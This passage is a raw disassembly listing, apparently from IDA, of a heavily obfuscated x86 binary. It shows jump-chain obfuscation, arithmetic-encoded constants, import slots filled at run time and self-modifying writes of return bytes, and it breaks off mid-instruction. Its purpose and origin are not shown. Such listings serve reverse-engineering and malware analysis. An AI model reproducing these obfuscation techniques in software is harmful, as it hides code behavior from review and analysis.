FUNCTION CHUNK AT 00748C13 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00748DEB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00748E11 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0074AA39 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0074AC73 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074B0A7 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0074BA8D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074C0D7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074C150 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0074D331 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074E6B6 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0074E7A0 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074E97B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074FC50 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00750000 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007502B5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00750317 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00750EBF SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00750EFC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00751130 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00751409 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00752470 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 007526A9 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00752B2E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00752C5B SIZE 00000022 BYTES ; FUNCTION CHUNK AT 007543E3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075460E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007558FA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00756802 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00756E98 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00756F56 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00757783 SIZE 00000016 BYTES jnb loc_747972 mov eax, ds:dword_751F64 or eax, eax jmp loc_750000 sub_74AAC1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75309B loc_74AAD4: ; CODE XREF: sub_75309B-B2DEj jnz loc_74AF85 jmp loc_751E34 ; END OF FUNCTION CHUNK FOR sub_75309B ; --------------------------------------------------------------------------- loc_74AADF: ; CODE XREF: _0z4jwtox:loc_74AF70j mov eax, 6FC7CA4Ch jmp loc_7506B6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F7C0 loc_74AAE9: ; CODE XREF: sub_74F7C0+9j pop esi sub ebx, 1103EA13h and ebx, 0CBD22A96h add ebx, 0C348F4D5h sub ebx, 6BD5FF80h add ebx, 9DC05310h xchg ebx, [esp-4+arg_0] jmp sub_755103 ; END OF FUNCTION CHUNK FOR sub_74F7C0 ; --------------------------------------------------------------------------- cmp esi, 1DA6B1EDh jmp loc_747B55 ; --------------------------------------------------------------------------- loc_74AB1B: ; CODE XREF: _0z4jwtox:loc_755DDAj call sub_7570E0 ; START OF FUNCTION CHUNK FOR sub_74D23E loc_74AB20: ; CODE XREF: sub_74D23E+1978j jmp loc_7540EB ; END OF FUNCTION CHUNK FOR sub_74D23E ; --------------------------------------------------------------------------- loc_74AB25: ; CODE XREF: _0z4jwtox:0074C230j jmp loc_74964A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_74AB2A: ; CODE XREF: sub_7543C5-E4F2j jmp loc_74BE50 ; END OF FUNCTION CHUNK FOR sub_7543C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74AB2F: ; CODE XREF: sub_747C22:loc_747A08j ; sub_747C22+BEB2j mov eax, [ebp-18h] mov eax, [eax] shl eax, 3 add eax, [ebp-8] push ebx push 0A0C47C49h pop ebx jmp loc_747EAC ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746E93 loc_74AB46: ; CODE XREF: sub_746E93:loc_752F54j mov edx, ds:dword_756678 or edx, edx jnz loc_756671 jmp loc_74E53F ; END OF FUNCTION CHUNK FOR sub_746E93 ; --------------------------------------------------------------------------- jle sub_745480 jmp sub_750F63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7452F3 loc_74AB64: ; CODE XREF: sub_7452F3:loc_7522A8j jz loc_74A39E jmp loc_746585 ; END OF FUNCTION CHUNK FOR sub_7452F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7460F1 loc_74AB6F: ; CODE XREF: sub_7460F1+Cj mov eax, esi pop esi and eax, 0AB25EA5Bh or eax, 45C2B3B5h add eax, 3117FCCDh call sub_746E93 jmp loc_74D41F ; END OF FUNCTION CHUNK FOR sub_7460F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_74AB8E: ; CODE XREF: sub_74C670-6BDDj mov eax, edi loc_74AB90: ; CODE XREF: sub_74F73B-58D5j xchg eax, [esp-4+arg_0] push 300D166Ah xchg ecx, [esp+0] mov edi, ecx jmp loc_7559AB ; END OF FUNCTION CHUNK FOR sub_74C670 ; --------------------------------------------------------------------------- loc_74ABA2: ; CODE XREF: _0z4jwtox:loc_74E632j jge loc_757112 ; START OF FUNCTION CHUNK FOR sub_755340 loc_74ABA8: ; CODE XREF: sub_755340+18j jmp loc_749B44 ; END OF FUNCTION CHUNK FOR sub_755340 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750B5C loc_74ABAD: ; CODE XREF: sub_750B5C+3256j jmp loc_747847 ; END OF FUNCTION CHUNK FOR sub_750B5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BF3A loc_74ABB2: ; CODE XREF: sub_74BF3A+3B7j jmp nullsub_76 ; END OF FUNCTION CHUNK FOR sub_74BF3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C8DA loc_74ABB7: ; CODE XREF: sub_74C8DA-1866j jmp sub_756158 ; END OF FUNCTION CHUNK FOR sub_74C8DA ; --------------------------------------------------------------------------- shr edi, 10h mov edx, [ecx] jmp loc_757107 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_74ABC6: ; CODE XREF: sub_74C670:loc_756ABAj xchg eax, ebx push 0E31802CEh jmp loc_755BF9 ; END OF FUNCTION CHUNK FOR sub_74C670 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746C5E loc_74ABD3: ; CODE XREF: sub_746C5E+6F70j xor eax, 0AEB5E723h ror eax, 1Dh push offset sub_748723 jmp loc_749F1B ; END OF FUNCTION CHUNK FOR sub_746C5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746F33 loc_74ABE6: ; CODE XREF: sub_746F33+16j xor edx, 0F596403Ah or edx, 54292993h add edx, 0E9877B66h add edx, ebp add edx, 0B98884D3h mov [edx], eax jmp loc_746B6A ; END OF FUNCTION CHUNK FOR sub_746F33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B079 loc_74AC07: ; CODE XREF: sub_74B079:loc_74715Cj and eax, 9EA52596h sub eax, 5B967DC2h xor eax, 0FAA130CDh call sub_746E93 mov ds:off_41F0A4, eax jmp loc_754DEE ; END OF FUNCTION CHUNK FOR sub_74B079 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D4D3 loc_74AC29: ; CODE XREF: sub_74D4D3:loc_74534Ej pop edi rol ebx, 1Fh and ebx, 0F7D03778h sub ebx, 0F73348EBh test ebx, 40000000h jmp loc_74C402 ; END OF FUNCTION CHUNK FOR sub_74D4D3 ; --------------------------------------------------------------------------- loc_74AC44: ; CODE XREF: _0z4jwtox:loc_74C2C4j nop mov eax, [esp] call sub_746CF0 retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752F34 loc_74AC4E: ; CODE XREF: sub_752F34+Aj jmp nullsub_102 ; END OF FUNCTION CHUNK FOR sub_752F34 ; --------------------------------------------------------------------------- db 0EFh dword_74AC54 dd 0 ; sub_748C98:loc_74DF24r ; =============== S U B R O U T I N E ======================================= sub_74AC58 proc near ; CODE XREF: sub_40ADCF+2CBp ; sub_40ADCF+2E8p ... call sub_74AC6D jmp ds:off_41F108 sub_74AC58 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75309B loc_74AC63: ; CODE XREF: sub_74AE46:loc_74E66Cj ; sub_75309B+Ej jmp loc_747DB5 ; END OF FUNCTION CHUNK FOR sub_75309B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748B52 loc_74AC68: ; CODE XREF: sub_748B52+9A0j jmp loc_7566AD ; END OF FUNCTION CHUNK FOR sub_748B52 ; =============== S U B R O U T I N E ======================================= sub_74AC6D proc near ; CODE XREF: sub_747D01+Dj sub_74AC58p ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0074A217 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0074AF38 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00750C0D SIZE 0000000F BYTES pop edx jmp loc_74AF38 sub_74AC6D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_74AC73: ; CODE XREF: sub_74AAC1+3EC0j js sub_74720A ror edi, 1Dh cmp esi, 51AA8D83h jmp loc_74B0A7 ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_74AC87: ; CODE XREF: sub_752D11:loc_745FF8j jz loc_7510BB jmp loc_74ED04 ; END OF FUNCTION CHUNK FOR sub_752D11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7561AB loc_74AC92: ; CODE XREF: sub_7561AB-51FEj jnp loc_74DB46 xchg ebp, [ebx] ; END OF FUNCTION CHUNK FOR sub_7561AB ; START OF FUNCTION CHUNK FOR sub_75275A loc_74AC9A: ; CODE XREF: sub_75275A:loc_747CD5j ; sub_7561AB:loc_753CD0j jb loc_745ED8 lea eax, [ebp-12Dh] jmp loc_747A36 ; END OF FUNCTION CHUNK FOR sub_75275A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7514BF loc_74ACAB: ; CODE XREF: sub_7514BF:loc_7490F1j jz loc_748482 push ebp mov eax, [ebp-20h] call sub_75481B pop ecx mov [ebp-20h], eax jmp loc_755D9F ; --------------------------------------------------------------------------- loc_74ACC3: ; CODE XREF: sub_7514BF+4j test byte ptr [ebp-8], 40h jmp loc_745964 ; END OF FUNCTION CHUNK FOR sub_7514BF ; --------------------------------------------------------------------------- shr ebp, 0Bh ; START OF FUNCTION CHUNK FOR sub_751307 loc_74ACCF: ; CODE XREF: sub_751307:loc_75130Fj jmp sub_746633 ; END OF FUNCTION CHUNK FOR sub_751307 ; --------------------------------------------------------------------------- loc_74ACD4: ; CODE XREF: _0z4jwtox:00756E5Cj push edi adc ebx, ecx ; START OF FUNCTION CHUNK FOR sub_74698F loc_74ACD7: ; CODE XREF: sub_74698F:loc_756E43j add edx, 0A884F4A7h mov [edx], eax pop edx jmp loc_754B4F ; END OF FUNCTION CHUNK FOR sub_74698F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_88. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754CBF loc_74ACE6: ; CODE XREF: sub_754CBF-4CA8j jmp loc_756D9C ; END OF FUNCTION CHUNK FOR sub_754CBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F78B loc_74ACEB: ; CODE XREF: sub_74F78B-1E63j jmp loc_7510FD ; END OF FUNCTION CHUNK FOR sub_74F78B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C68A loc_74ACF0: ; CODE XREF: sub_74C68A-EFj jmp sub_75375E ; END OF FUNCTION CHUNK FOR sub_74C68A ; --------------------------------------------------------------------------- loc_74ACF5: ; CODE XREF: _0z4jwtox:007473C7j jmp loc_746294 ; =============== S U B R O U T I N E ======================================= sub_74ACFA proc near ; CODE XREF: sub_755179-9B52p ; FUNCTION CHUNK AT 0074F786 SIZE 00000005 BYTES push offset sub_75479F jmp loc_74F786 sub_74ACFA endp ; --------------------------------------------------------------------------- and ebx, 0BF985F31h jmp loc_748E43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752957 loc_74AD0F: ; CODE XREF: sub_752957+1441j call sub_756826 mov eax, 6E103E68h call sub_746E93 mov ds:off_41F000, eax lea eax, loc_753D8D mov byte ptr [eax], 0C3h jmp loc_753D8D ; --------------------------------------------------------------------------- loc_74AD32: ; CODE XREF: sub_752957:loc_753D8Dj pop edx jmp loc_74EF46 ; END OF FUNCTION CHUNK FOR sub_752957 ; --------------------------------------------------------------------------- mov ds:dword_41F044, eax lea eax, nullsub_17 mov byte ptr [eax], 0C3h jmp loc_7521F3 ; =============== S U B R O U T I N E ======================================= sub_74AD4C proc near ; CODE XREF: sub_4010B2+18Cp ; sub_4010B2+2D4p ... push offset loc_7562C0 jmp nullsub_45 sub_74AD4C endp ; =============== S U B R O U T I N E ======================================= sub_74AD56 proc near ; DATA XREF: sub_75481B+3o ; FUNCTION CHUNK AT 0074FD25 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007573C5 SIZE 0000000A BYTES add esp, 0FFFFFFF8h mov [ebp-4], eax mov eax, [ebp-4] mov [ebp-8], eax jmp loc_7573C5 sub_74AD56 endp ; --------------------------------------------------------------------------- loc_74AD67: ; CODE XREF: _0z4jwtox:loc_74FC2Bj pop edx add edx, 38B26892h sub edx, 0F1B72FF3h add edx, 9AD40164h jmp loc_7564CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7531B7 loc_74AD7F: ; CODE XREF: sub_7531B7:loc_74D9D6j mov byte ptr [eax], 0C3h jmp loc_754F57 ; END OF FUNCTION CHUNK FOR sub_7531B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BD26 loc_74AD87: ; CODE XREF: sub_74BD26j call sub_755DA4 mov [eax], edi jmp sub_74667B ; END OF FUNCTION CHUNK FOR sub_74BD26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F615 loc_74AD93: ; CODE XREF: sub_74F615-3082j jz loc_7569C6 xchg esi, [edx] cdq and ecx, esi loc_74AD9E: ; CODE XREF: sub_74F615-308Aj add eax, 40A09B37h jmp loc_74E0DC ; END OF FUNCTION CHUNK FOR sub_74F615 ; --------------------------------------------------------------------------- add ebx, eax mov eax, ds:dword_74B938 mov [eax], ebx jmp loc_754392 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75364C loc_74ADB7: ; CODE XREF: sub_75364C-DAEBj shl eax, cl and edx, eax jmp loc_747482 ; END OF FUNCTION CHUNK FOR sub_75364C ; =============== S U B R O U T I N E ======================================= sub_74ADC0 proc near ; CODE XREF: sub_747A67+823Ap ; _0z4jwtox:00756B11j xchg esi, [esp+0] pop esi push 249DB7ABh shl ecx, 0Bh jmp loc_7577BB sub_74ADC0 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_130. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_74ADD2: ; CODE XREF: _0z4jwtox:loc_74A2F4j or ecx, 0F5CB63FDh sub ecx, 213CFCC7h add ecx, 2192FDF2h mov [ecx], eax jmp loc_74EF12 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755C38 loc_74ADEB: ; CODE XREF: sub_755C38-740Ej xor eax, 66907E30h call sub_746E93 push edx push 2E35E359h pop edx jmp loc_74F01A ; END OF FUNCTION CHUNK FOR sub_755C38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D4D3 loc_74AE02: ; CODE XREF: sub_74D4D3:loc_74C402j jnz loc_752FA1 loc_74AE08: ; CODE XREF: sub_74763A+7504j jmp loc_750ACB ; END OF FUNCTION CHUNK FOR sub_74D4D3 ; --------------------------------------------------------------------------- mov edx, 9A25960Fh jmp loc_752F96 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C9CF loc_74AE17: ; CODE XREF: sub_74C9CF+Aj rol ecx, 15h xor ecx, 2F69A2A0h rol ecx, 8 add ecx, 24BC7BE3h xchg ecx, [esp+0] jmp loc_75474C ; END OF FUNCTION CHUNK FOR sub_74C9CF ; --------------------------------------------------------------------------- loc_74AE31: ; CODE XREF: _0z4jwtox:0074D17Cj push offset loc_74559C jmp loc_74B208 ; --------------------------------------------------------------------------- or ebp, 7230E251h jmp loc_74ECEE ; =============== S U B R O U T I N E ======================================= sub_74AE46 proc near ; CODE XREF: sub_74A7D8-39C6p ; _0z4jwtox:00755522j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00745077 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00745F5F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00747477 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00749EFD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074B3FC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074BAF0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074E66C SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0074F1D4 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0074FAC9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00750E59 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00752D29 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00752D79 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00754449 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 00755BD4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00756226 SIZE 00000005 BYTES xchg ecx, [esp-4+arg_0] pop ecx push ebp loc_74AE4B: ; CODE XREF: _0z4jwtox:0074B6A5j add ebp, 964265F0h jmp loc_749EFD sub_74AE46 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_74AE56: ; CODE XREF: _0z4jwtox:loc_750725j ; _0z4jwtox:00757633j mov eax, [ebp-4] loc_74AE59: ; CODE XREF: _0z4jwtox:00751E6Cj cmp byte ptr [eax], 0F1h jnz loc_7556FE jmp loc_74EDFE ; =============== S U B R O U T I N E ======================================= sub_74AE67 proc near ; CODE XREF: sub_749306:loc_749380p ; _0z4jwtox:0074C8B6j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074904F SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0074D3D3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074D641 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0074DA63 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074F4F2 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00752005 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0075549D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 007554A8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00755AE7 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00757298 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax push 0B421D72Ah pop eax xor eax, 382AFEEh js loc_74904F adc esi, 7085DEC1h jmp loc_755AE7 sub_74AE67 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_74AE88: ; CODE XREF: _0z4jwtox:0074EA44j js loc_756879 ; =============== S U B R O U T I N E ======================================= sub_74AE8E proc near ; CODE XREF: _0z4jwtox:00756AFCp ; FUNCTION CHUNK AT 00747D83 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074C980 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 007523B8 SIZE 00000017 BYTES xchg ecx, [esp+0] pop ecx push 24E20446h jmp loc_7523B8 sub_74AE8E endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_74AE9C: ; CODE XREF: _0z4jwtox:loc_74E238j jnz loc_74C25E jmp loc_7493A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754CBF loc_74AEA7: ; CODE XREF: sub_754CBF+Fj rol edi, 19h sub edi, 0D7FE243Dh add edi, 0E932098h test edi, 8000000h jmp loc_757687 ; END OF FUNCTION CHUNK FOR sub_754CBF ; --------------------------------------------------------------------------- loc_74AEC1: ; CODE XREF: _0z4jwtox:0074C276j jl loc_7563A5 pop ebx test esi, 9BFB8B63h jmp loc_7563FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A821 loc_74AED3: ; CODE XREF: sub_74A821:loc_745409j ; sub_74A821+B004j push offset loc_7551E5 jmp loc_756770 ; END OF FUNCTION CHUNK FOR sub_74A821 ; --------------------------------------------------------------------------- loc_74AEDD: ; DATA XREF: sub_747D98+8Eo push 3CADB534h pop edi xor edi, 83718AD2h rol edi, 1 add edi, 808971B3h jmp loc_7485C4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_187. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CF35 loc_74AEF7: ; CODE XREF: sub_74CF35+513Aj jmp loc_753CB8 ; END OF FUNCTION CHUNK FOR sub_74CF35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_74AEFC: ; CODE XREF: sub_7543C5:loc_74EBE7j xor eax, ecx pop ecx rol eax, 0Dh mov ds:dword_753554, eax loc_74AF08: ; CODE XREF: sub_7544F1+2j ; sub_756496-DC9j ror eax, 0Dh jmp loc_75571B ; END OF FUNCTION CHUNK FOR sub_7543C5 ; =============== S U B R O U T I N E ======================================= sub_74AF10 proc near ; DATA XREF: sub_74A8D1-4562o ; FUNCTION CHUNK AT 0074901A SIZE 00000003 BYTES ; FUNCTION CHUNK AT 00749975 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074D7C8 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00755189 SIZE 00000005 BYTES add ecx, 0D87825FEh mov [ecx], eax pop ecx cmp dword ptr [ebp-4], 0 jz loc_75276D loc_74AF23: ; CODE XREF: sub_74D782:loc_7456B1j jmp loc_749975 sub_74AF10 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_74AF28: ; CODE XREF: sub_74FE55-7BABj push 544F08BEh xor edi, 0A0967F41h jmp loc_750860 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AC6D loc_74AF38: ; CODE XREF: sub_74AC6D+1j jns loc_750C0D mov eax, [esp-8+arg_4] push edx call sub_74FACE push 392B640Ch xchg ebp, [esp+0] mov eax, ebp or ebp, 655D423Fh jmp loc_74A217 ; END OF FUNCTION CHUNK FOR sub_74AC6D ; --------------------------------------------------------------------------- add eax, 525B7E7Bh xor eax, 176F47E5h rol eax, 11h call sub_746FBD loc_74AF70: ; CODE XREF: _0z4jwtox:007550C0j jmp loc_74AADF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7509E0 loc_74AF75: ; CODE XREF: sub_7509E0-69A6j jmp nullsub_84 ; END OF FUNCTION CHUNK FOR sub_7509E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748FA4 loc_74AF7A: ; CODE XREF: sub_748FA4:loc_746D64j jnz loc_749ADC jmp loc_74E5B7 ; END OF FUNCTION CHUNK FOR sub_748FA4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D1F3 loc_74AF85: ; CODE XREF: sub_75309B:loc_74AAD4j ; sub_74D1F3+2D43j push 7F26C2F2h pop eax and eax, 944A391Dh xor eax, 0B1A026BFh jmp loc_74C654 ; END OF FUNCTION CHUNK FOR sub_74D1F3 ; =============== S U B R O U T I N E ======================================= sub_74AF9C proc near ; DATA XREF: sub_74E40A:loc_748DF5o var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00745802 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074866C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00752D24 SIZE 00000005 BYTES xor esi, 82066DC9h xor eax, esi pop esi ror eax, 2 sub eax, 7815456Ch mov edx, [esp+0] jmp loc_745802 sub_74AF9C endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_74AFB6: ; CODE XREF: _0z4jwtox:00750281j jnz loc_74CA21 jz loc_752B6C test esi, 36CE4E78h jmp loc_7505EF ; --------------------------------------------------------------------------- mov [eax], ebx jmp loc_7473CC ; --------------------------------------------------------------------------- add ebp, edi jmp loc_749B92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748A22 loc_74AFDB: ; CODE XREF: sub_748A22:loc_756C44j mov dword ptr [ebp-18h], 0 loc_74AFE2: ; CODE XREF: _0z4jwtox:loc_74A4E3j push offset loc_75686C jmp loc_749B65 ; END OF FUNCTION CHUNK FOR sub_748A22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74ECEF loc_74AFEC: ; CODE XREF: sub_74ECEF:loc_75772Dj add edx, 83D48FA6h xor edx, 6F6A4D3Ah add edx, ebp add edx, 3871741h mov edx, [edx] push edi jmp loc_74BAFF ; END OF FUNCTION CHUNK FOR sub_74ECEF ; =============== S U B R O U T I N E ======================================= sub_74B008 proc near ; CODE XREF: _0z4jwtox:007528CBj ; _0z4jwtox:00756D3Dp xchg esi, [esp+0] pop esi lea eax, loc_745F8D mov byte ptr [eax], 0C3h jmp loc_745F8D sub_74B008 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_74B01A proc near ; CODE XREF: sub_408F94+5Ap ; _0z4jwtox:00750670j ; DATA XREF: ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 007464D5 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0074CB74 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074D79C SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00750676 SIZE 0000000F BYTES push edi jmp loc_7464D5 sub_74B01A endp ; =============== S U B R O U T I N E ======================================= sub_74B020 proc near ; CODE XREF: _0z4jwtox:00745E35j ; _0z4jwtox:00754E75p arg_0 = dword ptr 4 xchg ebx, [esp+0] pop ebx mov eax, [esp-4+arg_0] push offset loc_74E914 jmp nullsub_283 sub_74B020 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A96E loc_74B031: ; CODE XREF: sub_74A96E:loc_747856j ; sub_74A96E-3106j add edi, 0E18F9418h cmp edi, 32324B2Dh jmp loc_754863 ; END OF FUNCTION CHUNK FOR sub_74A96E ; =============== S U B R O U T I N E ======================================= sub_74B042 proc near ; DATA XREF: sub_747C22+4F0Eo ; FUNCTION CHUNK AT 00757714 SIZE 00000019 BYTES add esi, 8BDEFEF2h add eax, esi pop esi mov [ebp-10h], eax push 0BB585A87h pop eax and eax, 0E471935Dh sub eax, 87D7AB00h jmp loc_757714 sub_74B042 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov ds:off_41F0A0, eax lea eax, sub_756158 ; START OF FUNCTION CHUNK FOR sub_74C8DA loc_74B071: ; CODE XREF: sub_74C8DA:loc_74A8C1j mov byte ptr [eax], 0C3h jmp loc_74ABB7 ; END OF FUNCTION CHUNK FOR sub_74C8DA ; =============== S U B R O U T I N E ======================================= sub_74B079 proc near ; CODE XREF: sub_406782+6Bp ; sub_406782+22Fp ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074715C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00749C57 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074AC07 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0074B585 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0074C83B SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00754618 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00754DEE SIZE 00000011 BYTES push esi push 23E26C67h pop esi xor esi, 5F9B3AB6h add esi, 0CE3B0436h jmp loc_749C57 sub_74B079 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_74B091 proc near ; CODE XREF: _0z4jwtox:00748AADp ; _0z4jwtox:00756080j ; FUNCTION CHUNK AT 0075133F SIZE 00000023 BYTES xchg ebx, [esp+0] loc_74B094: ; CODE XREF: _0z4jwtox:loc_7505EFj pop ebx mov byte ptr [eax], 0C3h call sub_754FC6 mov edx, 0A22F8A70h jmp loc_75133F sub_74B091 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_74B0A7: ; CODE XREF: sub_74AAC1+1C1j jnz loc_750EBF xor edi, ecx xor ebp, 9F589CFh jmp loc_757783 ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; --------------------------------------------------------------------------- loc_74B0BA: ; CODE XREF: _0z4jwtox:00750B44j js loc_7569C6 ; START OF FUNCTION CHUNK FOR sub_752D11 loc_74B0C0: ; CODE XREF: sub_752D11-C4B9j add ebx, 5DF5A5E1h xchg ebx, 